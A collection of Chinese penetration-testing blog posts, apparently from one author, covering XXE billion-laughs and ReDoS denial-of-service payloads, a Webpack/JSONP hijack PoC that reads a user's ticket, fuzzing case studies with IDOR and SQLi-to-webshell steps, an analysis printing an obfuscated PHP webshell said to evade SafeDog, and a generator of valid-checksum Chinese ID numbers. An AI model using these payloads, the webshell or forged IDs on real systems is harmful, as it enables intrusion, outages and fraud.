这是一段实体定义,从下向上观察第一层发现key9由10个key8组成,由此类推得出key[n]由10个key[n-1]组成,那么最终算下来实际上key9由10^9(1000000000)个key[..]组成,也算是名副其实了~ 本地测试解析该XML文档,大概占用内存在2.5GB左右(其他文章中出现的均为3GB左右内存): 试想:这只是9层级炸弹,如果再多一点呢? External Entity 外部实体引用,文档内容如下: <!DOCTYPE keyz [ <!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe"> ]> <keyz>&wechat;</keyz> 这个理解起来就很简单了,就是从外部的链接中去获取解析实体,而我们可以设置这个解析URL为一个超大文件的下载地址,以上所举例就是微信的。 当然,我们也可以设置一个不返回结果的地址,如果外部地址不返回结果,那么这个解析就会在此处一直挂起从而占用内存。 Internal Entity 内部实体引用,文档内容如下: <!DOCTYPE keyz [ <!ENTITY a "a...a"> ]> <keyz>&a;...&a;</keyz> 其意思就是实体a的内容又臭又长,而后又N次引用这个实体内容,这就会造成解析的时候占用大量资源。 实际场景 一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~ 抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可): 上传之后产生的效果就是网站延时极高,至此就完成了整个测试。 ReDoS(正则表达式拒绝服务攻击) ReDoS,正则表达式拒绝服务攻击,顾名思义,就是由正则表达式造成的拒绝服务攻击,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。 在正式了解ReDoS之前,我们需要先了解一下正则表达式的两类引擎: 名称 区别 应用 匹配方式 DFA DFA对于文本串里的每一个字符只需扫描一次,速度快、特性少 awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail… 文本比较正则 NFA NFA要翻来覆去标注字符、取消标注字符,速度慢,但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi… 正则比较文本 文本比较正则:看到一个子正则,就把可能匹配的文本全标注出来,然后再看正则的下一个部分,根据新的匹配结果更新标注。 正则比较文本:看见一个字符,就把它跟正则比较,匹配就标注下来,然后接着往下匹配。一旦不匹配,就忽略这个字符,以此类推,直到回到上一次标注匹配的地方。 那么存在ReDoS的核心就是NFA正则表达式引擎,它的多模式会让自身陷入递归险境,从而导致占用大量CPU资源,性能极差,严重则导致拒绝服务。 NFA 回溯 简单的聊一下什么是回溯,这里有一个正则表达式: ke{1,3}y 其意图很简单,e字符需要匹配1-3次,k、y匹配一次即可。 现在我们遇到了两个需要匹配的字符串: keeey key 字符串keeey的匹配过程是一气呵成的:匹配k完成之后,完整匹配e,最后是匹配y 字符串key的匹配过程就发生了回溯,其匹配过程如下图所示(橙色为匹配,黄色为不匹配): 前两步属于正常,但从第3步开始就不一样了,这里字符串key已经有一个e被e{1,3}匹配,但它不会就此作罢,而会继续向后用正则e{1,3}匹配字符y,而当发现字符不匹配后,就忽略该字符,返回到上一次标注匹配的字符e再进行一次匹配,至此就发生了一次回溯,最后匹配y结束整个正则匹配过程。 那么为什么会产生回溯呢?这跟NFA的贪婪模式有关(贪婪模式默认是开启的)。 NFA 贪婪 我们想要彻底摸清楚整个过程就要抛根问底,究其原理,所以来了解一下贪婪模式~ 根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是:不撞南墙不回头 以下所列的元字符,大家应该都清楚其用法: i. ?: 告诉引擎匹配前导字符0次或一次,事实上是表示前导字符是可选的。 ii. +: 告诉引擎匹配前导字符1次或多次。 iii. *: 告诉引擎匹配前导字符0次或多次。 iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。 默认情况下,这个几个元字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。 恶意正则表达式 错误的使用以上所列的元字符就会导致拒绝服务的风险,此类称之为恶意的正则表达式,其表现形式为: 使用重复分组构造 在重复组内会出现:重复、交替重叠 简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分): (a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} for x > 10 ReDoS 恶意正则检测 对于复杂的恶意正则表达式,靠人工去看难免有些许费劲,推荐一款工具:https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme) 该工具支持大批量的正则表达式检测,并给出检测结果。 实际场景 很庆幸的是大多Web脚本语言的正则引擎都为NFA,所以也很方便我们做一些Web层面的挖掘。 做测试的时候大家有没有发现过这样一个逻辑:密码中不能包含用户名 这是一个用户添加的功能,其校验是通过后端的,请求包如下 POST /index/userAdd HTTP/1.1 Host: [host] ... nickname=xxx&password=xxx&... 当password中包含nickname则提示密码中不能包含用户名 利用Python简单还原一下后端逻辑: # -*- coding: utf-8 -*- import sys,re username = sys.argv[1] password = sys.argv[2] regex = re.compile(username) if (regex.match(password)): print u'密码中不能包含用户名' else: print u'用户添加成功' 这时候用户名是一个正则,密码是一个待匹配字符串,而这时候我们都可以进行控制,也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。 恶意的正则表达式:a(b|c+)+d 字符串(我们要想让其陷入回溯模式就不能让其匹配到,所以使用ac......cx的格式即可):acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx 如下图所示ReDoS攻击成功: 我们只需要以同样的方式替换原请求包中的参数值即可(前提是该功能没有限制字符串长度和特殊字符)~ 还有更多应用场景等待去发现,这里就不过多赘述了~ 数据查询数量可控 想必如下这类接口大家都见多了吧: /api/getInfo?page=1&page_size=10 ... /api/viewData?startTime=&endTime=1591258015173 ... ... 而这类接口通常都是调用数据的,当一个系统数据量十分大(这也是拒绝服务的前提)的时候就需要分页功能去优化性能,那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样?比如page_size=10000,再去请求会发现服务器明显有返回延迟(大量数据的查询展示): 那如果是page_size=100000000000呢?想象一下,从查询到数据格式的处理返回展示,要占用巨大的服务器资源,我们如果尝试去多次重放此类请求,服务器终究还是无法承受这样的“力量”,最后导致宕机… 时间参数startTime也是如此,我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。 References https://bbs.pediy.com/thread-252487.htm https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf https://zhuanlan.zhihu.com/p/41800341

2020/6/22
articleCard.readMore

[XSSI]动态JS劫持用户信息

动态JS劫持用户信息 Webpack+JSONP劫持 作者:key 注:本文已对敏感信息脱敏化,如有雷同纯属巧合。 前言 在做测试的时候发现一个请求: POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxx 其对应返回的信息包含了我本身用户的敏感信息:手机号、姓名、邮箱… 通过BurpSuite的插件Logger++搜索发现该ticket值居然出现在了JS文件中: 确定漏洞 通过测试我发现以上所述请求中的Cookie为无效请求头,后端不对齐校验,但对ticket校验,也就说明此处的ticket代表了获取用户信息的关键参数,换种说法:当你知道用户的ticket参数即可获取该用户信息。 判断JS动静态 当我在Logger++插件搜索到ticket值存在JS文件内容时,我的第一想法就是这个JS文件为动态类型,其文件内容跟随用户凭证字段的变化而变化。 测试:删除Cookie字段,结果:ticket参数值消失,由此可以判断该JS内容为动态类型。 再尝试将测试账户A的Cookie字段内容替换为测试账户B的Cookie字段内容,结果:ticket参数值变为测试账户B用户的对应值,由此可以判断该JS文件路径是固定的,并不是动态路径。 Webpack+JSONP劫持 已知JS文件路径为:https://website/app.xxxxx.js 查看其文件内容发现其被Webpack打包过: 那么我们想要劫持这个JS文件内容其实就可以使用JSONP的PoC代码(因为这段JS文件内容就是自定义函数+传入参数): <script> function webpackJsonp(data) { alert(data) } </script> <script src="https://website/app.xxxxx.js"></script> 但这样得不到我们想要的ticket值,简单的看了下JS代码,这段JS代码内容的格式是这样的: webpackJsonp 函数传入两个参数:第一个参数毫无用处,第二个参数传入的值包含了我们想要的ticket值。 那以上代码就可以这样修改: <script> function webpackJsonp(data, data1) { alert(data1) } </script> <script src="https://website/app.xxxxx.js"></script> 但我们还是没得到我们想要的信息: 因为第二段参数传入的值还需要进行解析,我发现这段值内容就是一段JSON对象,而对象的每个属性都在定义一个函数: 寻找ticket所在函数位置,发现其在jbTV: function...内,知道了所在函数位置,PoC代码只需要这样进行构建: <script> function webpackJsonp(data, data1) { alert(data1['jbTV']) } </script> <script src="https://website/app.xxxxx.js"></script> 访问,成功获取: 后面只需要稍微的加个正则就可以了~ 攻击方式 用户登录状态,访问该漏洞页面,触发即可获取到ticket值,将该值带入以上所列请求中即可越权获取用户信息 结尾 心细一点,漏洞就在眼前,

2020/1/8
articleCard.readMore

利用SourceMap还原网站原始代码(前端)

利用SourceMap还原网站原始代码(前端) 作者:key 说明 现在越来越多网站使用前后端分离技术,利用Webpack技术将JS类拓展语言进行打包,当然很多都是配套使用,例如Vue(前端Javascript框架)+Webpack技术; 这种技术也在普及,并且转向常态化,对渗透测试人员来说极其不友好: 1.增加了前端代码阅读的时间(可读性很差) 2.由原因1间接造成了前端漏洞的审计困难性 但是也具备一定的好处: 1.采用这种模式,后端接口将完全暴露在JS文件中 除此之外,如果生成了Source Map文件可以利用该文件还原网站原始前端代码(关于技术名词的具体含义请自行查询百科) 主流浏览器都自带解析Source Map文件功能(开发者工具-Sources【火狐下是调试器】): 展开可以看见具体文件和代码: 但是文件过多的情况下,单个查看繁琐,不便于搜索(浏览器的开发者工具支持全局文件搜索,但搜索速度较慢),使用restore-source-tree可以解决这一问题。 restore-source-tree 安装 原作者的有BUG,使用国外友人修复后的版本:https://github.com/laysent/restore-source-tree,安装步骤如下: git clone https://github.com/laysent/restore-source-tree cd restore-source-tree sudo npm install -g Source Map文件还原 在这类JS文件下通常会有一个注释: map文件就是js文件所在目录下,拼接URL即可访问,将其下载下来: wget http://hostname/static/js/app.fedfe85b2fdd8cf29dc7.js.map restore-source-tree进行还原: # -o 参数是指定输出目录,若不适用则为默认的output目录 restore-source-tree app.fedfe85b2fdd8cf29dc7.js.map 成功获得原代码: Reference https://yukaii.tw/blog/2017/02/21/restore-source-code-from-sourcemap-file/

2020/1/8
articleCard.readMore

WebFuzzing方法和漏洞案例总结

WebFuzzing方法和漏洞案例总结 作者:Vulkey_Chen 博客:gh0st.cn 背景 之前有幸做过一次线下的议题分享《我的Web应用安全模糊测试之路》,讲解了一些常用的WebFuzzing技巧和案例,该议题得到了很大的回响,很多师傅们也与我进行了交流,但考虑到之前分享过很多思路非常不全面,这里以本篇文章作为一次总结,以实战引出技巧思路(方法)。 我的Web应用安全模糊测试之路议题解读:https://gh0st.cn/archives/2018-07-25/1 (推荐阅读) 实战案例 以下分享的案例都是个人在参与项目或私密众测邀请时遇见的真实案例,案例大多基于个人收集和整理的FuzzDict项目(字典库)。 其中涉及的一些漏洞可能无法作为Fuzzing归类,这里也进行了强行的归类,只是想告诉大家漏洞挖掘中思路发散的重要性,个人也觉得比较经典。 注: 漏洞案例进行了脱敏以及细节上的修改。 案例-Add [SQLi注入漏洞] 1.获得项目子域:https://xxx.com 2.目录扫描发现/user/目录,二层探测发现/register接口,其意为:“注册” 3.根据返回状态信息去Fuzz用户名、密码参数->结果:uname\pwd 4.对uname参数进行SQL注入测试,简单的逻辑判断存在 5.注入点使用16进制的方式无法注入,SQLmap参数--no-escape即可绕过 [拒绝服务]图片验证码 图片验证码DoS(拒绝服务攻击)这个思路很早就出来了,当时的第一想法就是采集样本收集参数,使用搜索引擎寻找存在图片验证码的点: 根据这些点写了个脚本进行半自动的参数收集: 在漏洞挖掘的过程中,经常会抓取图片验证码的请求进行Fuzz: 图片验证码地址:https://xxx/validateCode Fuzz存在潜藏参数,可控验证码生成大小: [JSONP]无中生有 获得一个敏感信息返回的请求端点:http://xxx/getInfo 使用callback_dict.txt字典进行Fuzz: 成功发现callback这个潜藏参数: [逻辑漏洞]响应变请求 这里同样是获得一个敏感信息返回的请求端点:http://xxx/getInfo 返回的信息如下所示: {"responseData":{"userid":"user_id","login":"user_name","password":"user_password","mobilenum":"user_mobilephone_number","mobileisbound":"01","email":"user_email_address"}} 尝试了一些测试思路都无法发现安全漏洞,于是想到了响应变请求思路。 将响应报文的JSON字段内容转化为HTTP请求的字段内容(BurpSuite插件项目:https://github.com/gh0stkey/JSONandHTTPP): 将相关的信息字段内容替换为测试账号B的信息(例如:login=A -> login=B) 发现无法得到预期的越权漏洞,并尝试分析该网站其他请求接口对应的参数,发现都为大写,将之前的参数转换为大写: 继续Fuzz,结果却出人意料达到了预期: 案例-Update [逻辑漏洞]命名规律修改 一个登录系统,跟踪JS文件发现了一些登录后的系统接口,找到其中的注册接口成功注册账户进入个人中心,用户管理处抓到如下请求: POST URL: https://xxx/getRolesByUserId POST Data: userId=1028 返回如下信息: 可以看见这里的信息并不敏感,但根据测试发现userId参数可以进行越权遍历 根据url判断这个请求的意思是根据用户id查看用户的身份,url中的驼峰方法(getRolesByUserId)惊醒了我,根据命名规则结构我将其修改成getUserByUserId,也就是根据用户id获取用户,也就成为了如下请求包。 POST URL: https://xxx/getUserByUserId POST Data: userId=1028 成功返回了敏感信息,并通过修改userId可以越权获取其他用户的信息。 [逻辑漏洞]敏感的嗅觉 在测一个刚上线的APP时获得这样一条请求: POST /mvc/h5/jd/mJSFHttpGWP HTTP/1.1 …… param={"userPin":"$Uid$","addressType":0} 而这个请求返回的信息较为敏感,返回了个人的一些物理地址信息: 在这里param参数是json格式的,其中"userPin":"$Uid$"引起我注意,敏感的直觉告诉我这里可以进行修改,尝试将$Uid$修改为其他用户的用户名、用户ID,成功越权: [逻辑漏洞]熟能生巧 收到一个项目邀请,全篇就一个后台管理系统。针对这个系统做了一些常规的测试之后除了发现一些 没用的弱口令外(无法登录系统的)没有了其他收获。 分析这个后台管理系统的URL:https://xxx/?m=index,该URL访问解析过来 的是主⻚信息。 尝试对请求参数m的值进行Fuzz,7K+的字典进行Fuzz,一段时间之后收获降临: 获得了一个有用的请求:?m=view,该请求可以直接未授权获取信息: 案例-Delete [逻辑漏洞]Token限制绕过 在测业务的密码重置功能,发送密码重置请求,邮箱收到一个重置密码的链接:http://xxx/forget/pwd?userid=123&token=xxxx 这时候尝试删除token请求参数,再访问并成功重置了用户的密码: [SQLi辅助]参数删除报错 挖掘到一处注入,发现是root(DBA)权限: 但这时候,找不到网站绝对路径,寻找网站用户交互的请求http://xxx/xxxsearch?name=123,删除name=123,网站报错获取绝对路径: 成功通过SQLi漏洞进行GetWebshell。 总结 核心其实还是在于漏洞挖掘时的心细,一件事情理解透彻之后万物皆可Fuzz。 平时注意字典的更新、整理和对实际情况的分析,再进行关联整合。

2019/11/11
articleCard.readMore

对某攻击队的Webshell进行分析

对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析: 提出较为重要的那一段base64decode后的PHP代码进行分析: @session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode'])); 代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code'](Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,代码如此简单就不再重复描述~ 为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可): 当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。 但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文: 获得了:abc123000、lipeng520、160376这三个密码,可利用密码对其他的肉鸡再次进行反打。 代码样本:(测试可过安全狗) <?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>

2019/8/21
articleCard.readMore

TRICK: Linux Auditd审计工具

背景 难题:/home/chen/test/目录下的index.html为首页文件,一直被入侵者恶意篡改 需求:想要定位攻击方式以及篡改方式 命令:auditctl (安装:sudo apt install auditd) 参数: -w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词(用于查询监控日志) 运行:sudo auditctl -w /home/chen/test/index.html -p w -k index,等待二次篡改 过程 发现被篡改执行:sudo ausearch -i -k index 查看日志 type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index 了解该日志的格式: syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径 这里的syscall可以理解为是执行的动作,那么这段日志就非常容易理解了:用户chen使用gedit rename了该文件(重命名) 那么syscall是什么代表着编辑文件内容呢?(篡改) 测试gedit打开文件、编辑文件内容、保存文件,有三条日志: type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index syscall分别为:openat、openat、rename,但注意到第一个openat的日志中的success等于no 也就是说我们可以理解日志中出现syscall=openat即有人在修改文件,那么查看日志的命令就可以变成: sudo ausearch -i -k index | grep 'syscall=openat' END:定位到了用户、进程就可以继续跟踪了。

2019/8/20
articleCard.readMore

RGPerson - 随机身份生成脚本

RGPerson 项目地址:https://github.com/gh0stkey/RGPerson RGPerson - 随机身份生成 环境:python3 使用方法:python3 RGPerson.py 为什么需要Ta 相信很多师傅们在做测试的时候经常遇到一些注册的业务功能,要填写的东西很多,我一般都是临时去百度用的信息,这样很繁琐所以决定造轮子撸了个随机身份生成的。 介绍 该脚本生成信息:姓名\年龄\性别\身份证\手机号\组织机构代码\统一社会信用代码 脚本编写原理 脚本的函数: genMobile()、genIdCard()、genName()、genOrgCode()、genCreditCode() genMobile() 为随机生成手机号的函数 genName() 为随机生成姓名的函数 genIdCard() 为随机生成身份证的函数 genOrgCode() 为随机生成组织机构代码的函数 genCreditCode() 为随机生成统一社会信用代码的函数 genMobile() 随机生成手机号:需要知道国内手机号的构成 1.长度为十一位 2.前三位表示运营商 现在我们只需要做到收集手机号号段的前三位以及对应的运营商: prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"} 获取该数组的长度:len(prelist) -> 42 随机生成下标获取三位数:prelist.keys()[random.randint(0,41)] 然后再随机填补后8位即可: def genMobile(): prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"} three = list(prelist.keys())[random.randint(0,len(prelist)-1)] mobile = three + "".join(random.choice("0123456789") for i in range(8)) op = prelist[three] return {mobile:op} genName() 随机生成姓名:中文名字通常为2、3位汉字组成 1.收集常用的姓氏随机取其一个: def first_name(): first_name_list = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈', '褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许', '何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏', '陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章', '云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦', '昌', '马', '苗', '凤', '花', '方', '俞', '任', '袁', '柳', '酆', '鲍', '史', '唐', '费', '廉', '岑', '薛', '雷', '贺', '倪', '汤', '滕', '殷', '罗', '毕', '郝', '邬', '安', '常', '乐', '于', '时', '傅', '皮', '卞', '齐', '康', '伍', '余', '元', '卜', '顾', '孟', '平', '黄', '和', '穆', '萧', '尹', '姚', '邵', '堪', '汪', '祁', '毛', '禹', '狄', '米', '贝', '明', '臧', '计', '伏', '成', '戴', '谈', '宋', '茅', '庞', '熊', '纪', '舒', '屈', '项', '祝', '董', '梁'] n = random.randint(0, len(first_name_list) - 1) f_name = first_name_list[n] return f_name 2.这里一开始想搜罗常用的名字,但参考了其他师傅的代码发现随机生成中文字符更好一点: def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xf9) val = f'{head:x}{body:x}' st = bytes.fromhex(val).decode('gb2312') return st 3.随机生成名字的第二个字:(这里用一个list做一个空值,随机取生成的汉字或空值,用于成为随机生成2位名字或3位名字) def second_name(): second_name_list = [GBK2312(), ''] n = random.randint(0, 1) s_name = second_name_list[n] return s_name 4.随机生成名字的最后一个字:(用于满足三个汉字的名字) def last_name(): return GBK2312() 5.拼接 def last_name(): return GBK2312() genIdCard() 随机生成身份证:公民身份号码是由17位数字码和1位校验码组成 18位数字组合的方式是: 1 1 0 1 0 2 Y Y Y Y M M D D 8 8 8 X 区域码(6位) 出生日期码(8位) 顺序码(2位) 性别码(1位) 校验码(1位) 6位区域码爬取http://www.360doc.com/content/12/1010/21/156610_240728293.shtml,存到了districtcode.py 区域码 指的是公民常住户口所在县(市、镇、区)的行政区划代码,如110102是北京市-西城区。但港澳台地区居民的身份号码只精确到省级。 8位出生日期码,具体Python代码如下: age = random.randint(16,60) #可调整生成的年龄范围(身份证),这边是16-60岁 y = date.today().year - age #生成的年份 m = date(y, 1, 1) #生成的月份,初始值为1月1日 d = timedelta(days=random.randint(0, 364)) #随机生成的天数 datestring = str(m + d) #加天数得到最终值 出生日期码 表示公民出生的公历年(4位)、月(2位)、日(2位)。 2位顺序码 顺序码 表示在同一区域码所标识的区域范围内,对同年、同月、同日出生的人编定的顺序号。 1位性别码 性别码 奇数表示男性,偶数表示女性。 最后一位是校验码,这里采用的是ISO 7064:1983,MOD 11-2校验码系统。校验码为一位数,但如果最后采用校验码系统计算的校验码是“10”,碍于身份证号码为18位的规定,则以“X”代替校验码“10”。 最难的还是校验码的算法,参考师傅的解说: 1.将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为:7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2 2.将这17位数字和系数相乘的结果相加。 3.用加出来和除以11,得余数 4.余数只可能是0 1 2 3 4 5 6 7 8 9 10这11个数字,其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2。 5.通过上面得知如果余数是2,就会在身份证的第18位数字上出现罗马数字的Ⅹ,如果余数是10,身份证的最后一位号码就是2。 测试代码如下,取了几个真实的身份证号码发现可用: def test(id_num): id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] a = 0 print(len(id_num)) for i in range(17): a = a + (int(id_num[i]) * id_code_list[int(i)]) print(check_code_list[a % 11]) 整合一下(Copy)就变成了如下完整的代码: def genIdCard(age,gender): area_code = ('%s' % random.choice(list(area_dict.keys()))) id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] if str(area_code) not in area_dict.keys(): return None datestring = str(date(date.today().year - age, 1, 1) + timedelta(days=random.randint(0, 364))).replace("-", "") rd = random.randint(0, 999) if gender == 0: gender_num = rd if rd % 2 == 0 else rd + 1 else: gender_num = rd if rd % 2 == 1 else rd - 1 result = str(area_code) + datestring + str(gender_num).zfill(3) b = result + str(check_code_list[sum([a * b for a, b in zip(id_code_list, [int(a) for a in result])]) % 11]) return b 参考 https://www.cnblogs.com/evening/archive/2012/04/19/2457440.html https://www.cnblogs.com/thunderLL/p/7682148.html https://blog.csdn.net/ak739105231/article/details/83932151 https://github.com/jayknoxqu/id-number-util https://blog.csdn.net/tobacco5648/article/details/50613025 https://github.com/xbeginagain/generator

2019/8/16
articleCard.readMore

基于BurpSuite快速探测越权-Authz插件

BurpSuite - Authz 背景 在平时的测试中,会经常的碰到业务功能较多的站点,如果想全面又快速的完成逻辑越权漏洞的检测不得不借助Authz插件去辅助检测越权问题。 Authz的工作原理 我们平时做测试的时候发现越权问题都是基于修改ID的方式:A的ID改成B的ID然后进行请求查看是否可以越权获取到信息,或当ID的规律已知情况下基于Burp Intruder模块直接去遍历ID。而基于Authz的检测是不一样的,其是将用户认证的HTTP请求头进行修改(Cookie之类的),然后通过响应长度、响应状态码判断是否存在越权;从本质上来讲没有任何区别,只是换了一个角度,但这样的好处是一定程度上的减少了测试的时间(例如:一个商城的业务系统,你有A、B账户,A账户买了个商品获得一个订单信息请求,当你想测试是否能越权获取B账户订单时就需要使用B账户去再购买,然后判断测试。) BurpSuite Authz插件界面 安装Authz插件 Github地址:https://github.com/portswigger/authz 快速安装->在BurpSuite的BApp Store应用市场可以直接下载安装: 使用Authz插件检测 使用插件检测的前提条件:同个业务系统中两个测试账号 作用:A账户用于功能的操作,B账户用于提供凭证(Cookie或者其他的用户身份凭证请求头) 举例说明: 一个业务系统,将A、B账户登入,同时获取B账户的Cookie或者其他的用户身份凭证请求头,填入到Authz的New Header里: A账户去请求(Burp别忘了监听着),寻找读取类请求(该类请求要包含ID之类的特征)然后右键请求包将该请求发送到Authz插件内: 发送的请求会在Burp的Authz的Tab标签窗口内: 当收集的差不多了,点击run跑起来: 结果会在Responses处显示: 当原响应内容长度、响应状态码和被修改后请求的响应内容长度、响应状态码一致则会绿。 也就代表着存在越权,单击选择一行即可在下面展示出请求、响应的报文: 这里经过进一步检验(理论上不需要检验,但出于对测试的严谨态度还是检验一下比较好~)顺利的发现了三枚越权访问漏洞。 一个业务系统测完之后就Clear掉所有的东西,接着下一个业务系统咯: Authz的优点和缺点总结 优点:使用简单、省时省力 缺点:只是适用于检测越权读取类操作,删除编辑类操作还需人工判断。

2019/6/27
articleCard.readMore

浅谈WebSocket跨域劫持漏洞(CSWSH)

